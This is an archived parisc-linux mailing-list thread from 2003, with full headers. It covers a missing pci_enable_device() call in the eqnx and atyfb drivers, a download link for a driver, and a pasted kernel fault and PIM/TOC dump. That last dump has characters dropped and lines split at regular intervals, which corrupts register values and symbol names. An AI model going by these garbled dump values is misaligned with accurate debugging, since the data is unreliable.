List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18729

On Sun, Jun 22, 2003 at 11:04:50PM -0600, Grant Grundler wrote:
> AFAICT, eqnx driver doesn't call pci_enable_device().  The bug I'd be
> looking for is a PCI "resource" (BAR) to be accessed before it was enabled.
> Try adding a pci_enable_device() to eqnx_init() or eqx_pci_buspresent().
> [ *gag* I'm surprised this code even works on x86. ]

x86 typically doesn't need to call pci_enable_device, so people who've
never tried their driver on any other box may have missed it.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem during dselect with 2.5.72-pa1
Date: Mon, 23 Jun 2003 13:00:34 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20030623120034.GB2620@parcelfarce.linux.theplanet.co.uk>
References: <3EF5C964.1040208@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622534 26965 80.91.229.3 (22 Nov 2014 02:15:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger?= Scholz <r.scholz@bluehash.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 23 06:00:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6CBB4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Jun 2003 06:00:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19UPzu-0007Wn-Se; Mon, 23 Jun 2003 13:00:34 +0100
Content-Disposition: inline
In-Reply-To: <3EF5C964.1040208@bluehash.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18730

On Sun, Jun 22, 2003 at 05:21:08PM +0200, Rdiger Scholz wrote:
> ------------SNIP-------------
> 
>    kernel BUG at include/linux/swapops.h:68!

*gulp*.  This is pte_file() stuff; i've not been paying attention to that
bit.

>    kernel BUG at mm/rmap.c:343!

.. as is this.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ATY RAGE XL progress or Dino gscpci bridge
 pb?[was: Re: HP C180 video card]
Date: Mon, 23 Jun 2003 16:00:08 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <3EF72408.6030103@tiscali.be>
References: <03f301c3309e$f0c78740$d908f3d8@uvsolutions> <20030613043356.GA7265@dsl2.external.hp.com> <3EEC9AC2.5070106@tiscali.be> <20030615161948.GA12995@dsl2.external.hp.com> <3EF46AA9.7040703@tiscali.be> <20030623050450.GA449@dsl2.external.hp.com> <20030623111836.GA2620@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622534 26971 80.91.229.3 (22 Nov 2014 02:15:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:34 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 23 09:45:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC74C4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Jun 2003 09:45:17 -0600 (MDT)
Original-Received: from [62.235.170.192] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19UTVJ-0000ki-00; Mon, 23 Jun 2003 17:45:14 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3.1) Gecko/20030618 Debian/1.3.1-3
X-Accept-Language: en
In-Reply-To: <20030623111836.GA2620@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18731

Matthew Wilcox wrote:

>On Sun, Jun 22, 2003 at 11:04:50PM -0600, Grant Grundler wrote:
>  
>
>>AFAICT, eqnx driver doesn't call pci_enable_device().  The bug I'd be
>>looking for is a PCI "resource" (BAR) to be accessed before it was enabled.
>>Try adding a pci_enable_device() to eqnx_init() or eqx_pci_buspresent().
>>[ *gag* I'm surprised this code even works on x86. ]
>>    
>>
>
>x86 typically doesn't need to call pci_enable_device, so people who've
>never tried their driver on any other box may have missed it.
>
>  
>
 From the very last relase 4.05 (dated April 7 iirc) it support also 
"Intel IA-64 platforms".
But I will have a look in more details and also post the toc analyse.

Thanks for help and attention,
    Joel



From - Thu Nov 08 21:28:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ATY RAGE XL progress or Dino gscpci bridge pb?[was: Re: HP C180 video card]
Date: Mon, 23 Jun 2003 21:44:42 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20030624034442.GA28169@dsl2.external.hp.com>
References: <03f301c3309e$f0c78740$d908f3d8@uvsolutions> <20030613043356.GA7265@dsl2.external.hp.com> <3EEC9AC2.5070106@tiscali.be> <20030615161948.GA12995@dsl2.external.hp.com> <3EF46AA9.7040703@tiscali.be> <20030623050450.GA449@dsl2.external.hp.com> <20030623111836.GA2620@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622534 26975 80.91.229.3 (22 Nov 2014 02:15:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 23 21:44:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id F133E4829; Mon, 23 Jun 2003 21:44:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030623111836.GA2620@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18732

On Mon, Jun 23, 2003 at 12:18:36PM +0100, Matthew Wilcox wrote:
> x86 typically doesn't need to call pci_enable_device, so people who've
> never tried their driver on any other box may have missed it.

Happen to know if that is true for hotplug support?
ie does x86 requires something like pci_enable_device() for hotplug to work?

BTW, my comment was actually intended for other parts of the code I
was digging though, not the just lack of pci_enable_device().

grant


From - Thu Nov 08 21:28:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ATY RAGE XL progress or Dino gscpci bridge pb?[was: Re: HP C180 video card]
Date: Mon, 23 Jun 2003 21:46:56 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20030624034656.GB28169@dsl2.external.hp.com>
References: <03f301c3309e$f0c78740$d908f3d8@uvsolutions> <20030613043356.GA7265@dsl2.external.hp.com> <3EEC9AC2.5070106@tiscali.be> <20030615161948.GA12995@dsl2.external.hp.com> <3EF46AA9.7040703@tiscali.be> <20030623050450.GA449@dsl2.external.hp.com> <20030623111836.GA2620@parcelfarce.linux.theplanet.co.uk> <3EF72408.6030103@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622534 26976 80.91.229.3 (22 Nov 2014 02:15:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 23 21:46:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id B05D9482B; Mon, 23 Jun 2003 21:46:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3EF72408.6030103@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18733

On Mon, Jun 23, 2003 at 04:00:08PM +0000, Joel Soete wrote:
> From the very last relase 4.05 (dated April 7 iirc) it support also 
> "Intel IA-64 platforms".

Those behave the same way as ia32 boxes.
Wonder if I can get a "sample card" to test an HP IA64 platform
(ZX1).... :^)


> But I will have a look in more details and also post the toc analyse.

yes, please do.

thanks,
grant


From - Thu Nov 08 21:28:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ATY RAGE XL progress or Dino gscpci bridge pb?[was: Re: HP C180 video card]
Date: Mon, 23 Jun 2003 22:04:59 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20030624040459.GC28169@dsl2.external.hp.com>
References: <03f301c3309e$f0c78740$d908f3d8@uvsolutions> <20030613043356.GA7265@dsl2.external.hp.com> <3EEC9AC2.5070106@tiscali.be> <20030615161948.GA12995@dsl2.external.hp.com> <3EF46AA9.7040703@tiscali.be> <20030623050450.GA449@dsl2.external.hp.com> <20030623111836.GA2620@parcelfarce.linux.theplanet.co.uk> <3EF72408.6030103@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622535 26983 80.91.229.3 (22 Nov 2014 02:15:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 23 22:04:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 86FC1484C; Mon, 23 Jun 2003 22:04:59 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3EF72408.6030103@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18734

On Mon, Jun 23, 2003 at 04:00:08PM +0000, Joel Soete wrote:
> From the very last relase 4.05 (dated April 7 iirc) it support also 
> "Intel IA-64 platforms".


Joel,
Could you post a URL or make the eqnx-4.05 linux driver available?
I didn't see it here:
ftp://guest:guest@www.equinox.com/library/legacy%20drivers/sst/

Last one I found was the 4.01 from last year...

thanks,
grant


From - Thu Nov 08 21:28:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ATY RAGE XL progress or Dino gscpci bridge pb?[was: Re: HP C180 video card]
Date: Tue, 24 Jun 2003 09:16:47 +0200
Lines: 458
Approved: news@gmane.org
Message-ID: <3ED71F6D000089E5@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622535 26985 80.91.229.3 (22 Nov 2014 02:15:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Joel Soete" <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun 24 01:16:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90827485F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Jun 2003 01:16:50 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19Ui25-0004m3-00; Tue, 24 Jun 2003 09:16:01 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 24 Jun 2003 09:16:47 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18735

Hi Grant,

> Joel,
> Could you post a URL or make the eqnx-4.05 linux driver available?
> didn't see it here:
> ftp://guest:guest@www.equinox.com/library/legacy%20drivers/sst/
>
> Last one I found was the 4.01 from last year...
>
Yes I now, they change the way to proceed the download and I also spend a
certain time to find it:
- on the main page (http://www.equinox.com/) you have a "Download Drivers"
pointing to <http://www.equinox.com/Download_Drivers129.html>
- ont he middle of this page "Enter Downloadable Files Database" <http://www.equinox.com/Driver_Search152.cfm>
- at the bottom of this one "SST driver for Linux" driving you to <http://www.equinox.com/Driver_Search_Results153.cfm?uid=309>
- here you are at the top: 
<http://www.equinox.com/DownloadFile.cfm?File=eqnx-4.05.tar.Z>

[Just show you the way because I am not sure that they are fixed references
:)]

btw, I also have a look into aty module and if I well fond pci_enable_device()
in module aty128fb (which load and unload well but useless for my card),
otc I do not find it into atifb. So I will also look this way for this driver.

Finaly here is the toc, dump and corresponding 'analyses'

===== ATYFB ====
===  Dump  ===

Stack Dump:
 1631ca80:  0004ff0e 1
327120 00000001 16a37840
 1631ca70:  163e1ac0 10125d70 1631c7e8 17c73280
 1631ca60:  17cc08e0 16a37840 17c732ec 00000001
 1631ca50:  1631c8d8 16500900 0000001b 00000000
 1631ca40:  ffffffff 103a6b00 00000000 103a6810
 1631ca30:  103a6810 103a6810 
000000f 4017e33c

Kernel addresses on the stack:
 [<10125d70>]  [<10122458>]  [<10122308>]  [<10122050>]
 [<10174650>]  [<10109078>]  [<102b6aa0>]  [<1016d268>]
 [<101684f4>]  [<10132cf0>]  [<1013f7b4>]  [<1013e2e4>]
 [<1014e9c0>]  [<101364c4>]  [<101684f4>]  [<101364c4>]
 [<10133004>]  [<1012006c>]  [<101684f4>]  [<1013ed34>]
 [<10147e2c>]  [<10109f90>]  [<10109084>]  [<10109d4c>]
 [<1013f7b4>]  [<1013e2e4>]  [<1014e9c0>]  [<10121318>]


Kernel Fault: Code=26 regs=1631ca80 (Addr=00000010


     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001110 Not tainted
r00-03  00000000 103a7810 10125d70 103a8010
r04-07  103a8010 103a6810 1631ca08 103a6810
r08-11  103a7810 4017e33c bff016e0 00043230
r12-15  0002d000 103a78
0 103a7010 000e0d08
r16-19  1631c6c0 00000000 00028d90 00000010
r20-23  105b6de0 16a37840 16a37850 00000000
r24-27  00000000 103a7010 00000000 102f2010
r28-31  00001000 00000000 1631ca80 10122458
sr0-3   00000000 000002a4 00000000 000002a4
sr4-7 
 00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10125ee0 10125ee4
 IIR: 0e741280    ISR: 00000000  IOR: 00000010
 CPU:        0   CR30: 1631c000 CR31: 10390000
 ORIG_R28: 102bb0a0
.

===  Analyse  ===
IAOQ = 10125ee0
Func:
timer_bh, Off: 1cc, Addr: 0x10125ee0
10125ee0:	0e 74 12 80 	stw r20,0(sr0,r19)
10125ee4:	0e 93 12 88 	stw r19,4(sr0,r20)
10125ee8:	0e a0 12 80 	stw r0,0(sr0,r21)
10125eec:	0e a0 12 88 	stw r0,4(sr0,r21)

GR0 = 00000000

GR1 = 103a7810
Func: tv
, Off: 1a8, Addr: 0x103a7810

GR2 = 10125d70
Func: timer_bh, Off: 5c, Addr: 0x10125d70
10125d70:	00 01 0d 60 	ssm 1,r0
10125d74:	2b 68 30 00 	addil 11800,dp,%r1
10125d78:	48 33 03 88 	ldw 1c4(r1),r19
10125d7c:	08 73 04 13 	sub r19,r3,r19

GR3 
 103a8010
Func: tv1, Off: 7a4, Addr: 0x103a8010

GR4 = 103a8010
Func: tv1, Off: 7a4, Addr: 0x103a8010

GR5 = 103a6810
Func: log_buf, Off: 3e68, Addr: 0x103a6810

GR6 = 1631ca08

GR7 = 103a6810
Func: log_buf, Off: 3e68, Addr: 0x103a6810

G
8 = 103a7810
Func: tv2, Off: 1a8, Addr: 0x103a7810

GR9 = 4017e33c

GR10 = bff016e0

GR11 = 00043230

GR12 = 0002d000

GR13 = 103a7870
Func: tv1, Off: 4, Addr: 0x103a7870

GR14 = 103a7010
Func: event, Off: 0, Addr: 0x103a7010

GR15 = 0
0e0d08

GR16 = 1631c6c0

GR17 = 00000000

GR18 = 00028d90

GR19 = 00000010

GR20 = 105b6de0

GR21 = 16a37840

GR22 = 16a37850

GR23 = 00000000

GR24 = 00000000

GR25 = 103a7010
Func: event, Off: 0, Addr: 0x103a7010

GR26 = 000000
0

GR27 = 102f2010
Func: $global$, Off: 0, Addr: 0x102f2010

GR28 = 00001000

GR29 = 00000000

GR30 = 1631ca80

GR31 = 10122458
Func: bh_action, Off: 40, Addr: 0x10122458
1012243c:	8e 60 20 18 	cmpib,<> 0,r19,10122450 <bh_action+0x38>
101
2450:	e6 c0 20 00 	be,l 0(sr4,r22),%sr0,%r31
10122454:	08 1f 02 42 	copy r31,rp
10122458:	e8 1f 1f d5 	b,l 10122448 <bh_action+0x30>,r0
1012245c:	4b c2 3f 59 	ldw -54(sp),rp

Kernel symbols on the stack:
[<10125d70>]: Func: timer_bh, Off: 5c, Add
: 0x10125d70
[<10122458>]: Func: bh_action, Off: 40, Addr: 0x10122458
[<10122308>]: Func: tasklet_hi_action, Off: 7c, Addr: 0x10122308
[<10122050>]: Func: do_softirq, Off: ec, Addr: 0x10122050
[<10174650>]: Func: journal_dirty_metadata, Off: 12c, A
dr: 0x10174650
[<10109078>]: Func: intr_check_resched, Off: 0, Addr: 0x10109078
[<102b6aa0>]: Func: number, Off: 3c0, Addr: 0x102b6aa0
[<1016d268>]: Func: ext3_do_update_inode, Off: 238, Addr: 0x1016d268
[<101684f4>]: Func: ext3_file_write, Off: 20
 Addr: 0x101684f4
[<10132cf0>]: Func: generic_file_write, Off: 1cc, Addr: 0x10132cf0
[<1013f7b4>]: Func: chrdev_open, Off: 64, Addr: 0x1013f7b4
[<1013e2e4>]: Func: dentry_open, Off: f4, Addr: 0x1013e2e4
[<1014e9c0>]: Func: locate_fd, Off: 120, Addr
 0x1014e9c0
[<101364c4>]: Func: kfree, Off: 48, Addr: 0x101364c4
[<101684f4>]: Func: ext3_file_write, Off: 20, Addr: 0x101684f4
[<101364c4>]: Func: kfree, Off: 48, Addr: 0x101364c4
[<10133004>]: Func: generic_file_write, Off: 4e0, Addr: 0x10133004

[<1012006c>]: Func: s_show, Off: 60, Addr: 0x1012006c
[<101684f4>]: Func: ext3_file_write, Off: 20, Addr: 0x101684f4
[<1013ed34>]: Func: sys_write, Off: a4, Addr: 0x1013ed34
[<10147e2c>]: Func: sys_fstat64, Off: 5c, Addr: 0x10147e2c
[<10109f90>]: F
nc: syscall_exit, Off: 0, Addr: 0x10109f90
[<10109084>]: Func: intr_check_sig, Off: 0, Addr: 0x10109084
[<10109d4c>]: Func: child_return, Off: 0, Addr: 0x10109d4c
[<1013f7b4>]: Func: chrdev_open, Off: 64, Addr: 0x1013f7b4
[<1013e2e4>]: Func: dentry
open, Off: f4, Addr: 0x1013e2e4
[<1014e9c0>]: Func: locate_fd, Off: 120, Addr: 0x1014e9c0
[<10121318>]: Func: it_real_fn, Off: 0, Addr: 0x10121318

Done.

============ another info about aty test ==================
Here is also the end of a toc 
 got before adding stifb console support
and wich made so simply crash the kernel as soon as insmod atifb:
Timestamp =   Fri Jun  20 09:17:56 GMT 2003    (20:03:06:20:09:17:56)

   No memory errors logged


I/O Module Error Log Information:

T
mestamp =   Fri Jun  20 09:17:57 GMT 2003    (20:03:06:20:09:17:57)

Bus    HPA       Module Type      Path  Slt Md Sev  Estat Requestor  Responder
--- ---------- ---------------- -------- -- -- ---- ----- ---------- ----------
 1  0xfff80000 Bus Bridge (PCI)                      0x09 0xfffbe000 0x00000000



PCI Error Summary

An error related to the GSC bus occurred. The
processor was the requestor. It could have been
a data parity error, an address parity error or a
GSC timeout. On PA
300 systems, check the MIOC
DIOERR register listed above.

I couldn't get more because addresses didn't matches any System nor vmlinux
addresses

===== Eqnx =====
===  TOC  ===

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC 
nformation ------------------

Timestamp =   Fri Jun  20 10:25:53 GMT 2003    (20:03:06:20:10:25:53)

HPMC Chassis Codes = 0xcbf0  0x505f  0xcbfb

General Registers 0 - 31
 0 -  3  0x00000000  0x1039f010  0x1011093c  0x0000ffff
 4 -  7  0x00000
01  0x00000000  0x0086d000  0x00000004
 8 - 11  0x00000000  0x00842010  0x00000000  0x00000000
12 - 15  0x00000000  0x0000001f  0x0000113f  0x00842010
16 - 19  0x000000ff  0x00842810  0x0004e158  0xfff8006c
20 - 23  0x0000000e  0x0000000f  0x1024fe
8  0x00000001
24 - 27  0x00000cfc  0x00000000  0x10079160  0x102f2010
28 - 31  0x0000fff8  0x00000940  0x15b807c0  0x1011093c

Control Registers 0 - 31
 0 -  3  0x00000000  0x00000000  0x00000000  0x00000000
 4 -  7  0x00000000  0x00000000  0x000
0000  0x00000000
 8 - 11  0x0000000c  0x00000000  0x000000c0  0x0000001f
12 - 15  0x00000000  0x00000000  0x00108800  0xe0000000
16 - 19  0x144d0fac  0x00000000  0x1024ff28  0x00141860
20 - 23  0x00000000  0xfff8006c  0x0006000e  0x80000000
24 - 2
  0x0030a000  0x05d2c000  0xffffffff  0xffffffff
28 - 31  0xaaaaaaaa  0x11111111  0x15b80000  0x10390000

Space Registers 0 - 7
 0 -  3  0x00000000  0x00000000  0x00000000  0x00000006
 4 -  7  0x00000000  0x00000000  0x00000000  0x00000000

IIA 
pace                    = 0x00000000
IIA Offset                   = 0x1024ff2c
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000

Bus Check                    = 0x00310000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
System Responder Address     = 0xfff8006c
System Requestor Address     = 0xfffbe000
Path Info                    = 0x0000
000
Physical Memory              = 0x08000000
Available Memory             = 0x08000000

CPU Diagnose Register 0      = 0x600048fc
